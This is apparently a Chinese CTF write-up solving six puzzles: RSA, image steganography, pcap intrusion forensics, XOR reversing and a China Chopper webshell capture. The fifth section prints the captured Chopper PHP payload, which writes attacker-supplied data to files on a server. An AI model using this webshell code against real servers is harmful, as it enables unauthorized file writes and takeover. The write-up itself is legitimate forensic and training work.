看到群里別人參加比賽發上來的附件,自己嘗試解了一下。
1、提示RSA,提供flag.enc和pub.key附件
一看就是解RSA,公鑰分解得到n和e
n=86934482296048119190666062003494800588905656017203025617216654058378322103517 e=65537
分解n,得到pq
q = 304008741604601924494328155975272418463 p = 285960468890451637935629440372639283459
有pqe可以求出d
d = 81176168860169991027846870170527607562179635470395365333547868786951080991441
有了ned和密文就可以解出明文了,然后轉成字符串
2、不知道什么鬼的圖片
分析含zip,分離,然后zip再爆破
3、pcap入侵記錄的題目
搜<?php找到幾個一句話的提交路徑,可以看到大量掃描404的回顯記錄,攻擊者IP是172.17.0.1
繼續找,發現另一個IP修改了密碼,應該是管理員,所以基本上判斷不是XSS不是SQL是CSRF,看readme是CWE-352
繼續搜找到放代碼的頁面,在某個頁面POST提交
不確定是POST提交的算還是管理員點擊后算,所以FLAG按照題目提交格式應該是CWE-352_2018-06-15 09:18:29的MD5或者CWE-352_2018-6-15 09:40:12的md5密文
4、XOR
放C32后看不出什么,IDA載入
int __cdecl main(int argc, const char **argv, const char **envp) { char *v3; // rsi int result; // eax signed int i; // [rsp+2Ch] [rbp-124h] char v6[264]; // [rsp+40h] [rbp-110h] __int64 v7; // [rsp+148h] [rbp-8h] memset(v6, 0, 0x100uLL); v3 = (char *)256; printf("Input your flag:\n", 0LL); get_line(v6, 0x100u); if ( strlen(v6) != 33 ) goto LABEL_12; for ( i = 1; i < 33; ++i ) v6[i] ^= v6[i - 1]; v3 = global; if ( !strncmp(v6, global, 0x21uLL) ) printf("Success", v3); else LABEL_12: printf("Failed", v3); result = __stack_chk_guard; if ( __stack_chk_guard == v7 ) result = 0; return result;
看得出和提醒XOR對應,一共33位的字符串循環異或前面一位,異或計算的字符串如下
其中0Ah表示換行,對應ASCII碼10,以此類推
異或計算前
'f',10,'k',12,'w','&','O','.','@',17,'x',13,'Z',';','U',17,'p',25,'F',31,'v','"','M','#','D',14,'g','h',15,'G',2,'O',0
用Python根據內容進行循環異或得出flag
5、菜刀pcap文件
可以看得出菜刀連接后上傳了文件
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;echo("|<-");die();
6666.jpg的時間UTC+8和和報文時間可以對上,應該就是jpg文件,直接導出HEX輸出圖片得到FLAG
6、異性相吸,直接Python異或計算